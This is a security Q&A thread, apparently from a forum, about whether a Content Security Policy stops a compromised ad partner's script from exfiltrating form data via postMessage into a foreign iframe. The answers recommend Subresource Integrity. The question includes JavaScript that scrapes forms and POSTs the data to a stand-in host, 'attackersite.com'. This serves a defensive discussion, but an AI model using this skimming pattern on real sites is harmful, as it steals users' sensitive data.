Content Security Policy: postMessage into foreign iframe

Question

Assume we have a webpage with sensitive data. The page uses a marketing partner advertisingpartner.com which collects data via third-party cookies in a foreign iframe. We have applied a relatively strict CSP:

connect-src 'self';
frame-ancestors 'self';
frame-src 'self' https://advertisingpartner.com;
media-src 'self';
object-src 'none';
script-src 'self' 'unsafe-inline' https://advertisingpartner.com;
style-srce 'self' 'unsafe-inline';

The marketing script is then loaded via a normal script tag and injects an iframe. Now suppose that the marketing partner is compromised, and code is added to create an instance of the tracking iframe:

var data = scrape_sensitive_data_from_forms();
var frame = document.createElement("iframe");
frame.id = "attackerframe";
frame.style.display = "none";
frame.onload = function() {
  document.getElementById("attackerframe").contentWindow.postMessage(data, "https://advertisingpartner.com");
};
frame.src = "https://advertisingpartner.com/trackingframe.html";
document.body.appendChild(frame);

Their tracking frame has appropriate message-receiving capabilities added to retrieve and exfiltrate the data. It is under a different domain than the main site and thus does not have the CSP applied to it:

function receiveMessage(event) {
  var req = new XMLHttpRequest();
  req.open("POST", "https://attackersite.com/collectsensitivedata.php", true);
  req.send(event.data);
}

window.addEventListener("message", receiveMessage, false);

What can save me from this attack?

Answer 1

You allow the advertising partner’s code in the context of your page, giving it full access to the DOM and everything on the page. If the script is compromised and you load it there isn’t much you can do. There is however, a way to detect if the script you are including has been altered from a previously known state. This is called Subresource Integrity.

This way, if your partner is compromised and his script has changed you instruct the browsers not to load it. This obviously has its drawbacks.

For one, your partner won’t be capable of updating their script on your site without your help (unless they use the loader which inserts scripts).

If the partner is using a loader with SRI that will work. The loader loads other scripts, hopefully with SRI. You can use CSP’s require-sri-for directive to demand SRI for all resources.

Keep in mind though, if the partner is compromised and the loader behaves dynamically, even with SRI, he will most likely be able to run malicious scripts on your site. He simply needs to generate the integrity tags for the malicious scripts.

What can save me from this attack?

Your best bet is to utilize SRI for their script and hope it is static. If however, it behaves dynamically (loading other scripts, inserting an iframe and communicating with it) then there isn’t much you can do.

As an alternative you can ask them to create a compact version of the script for you and host it yourself.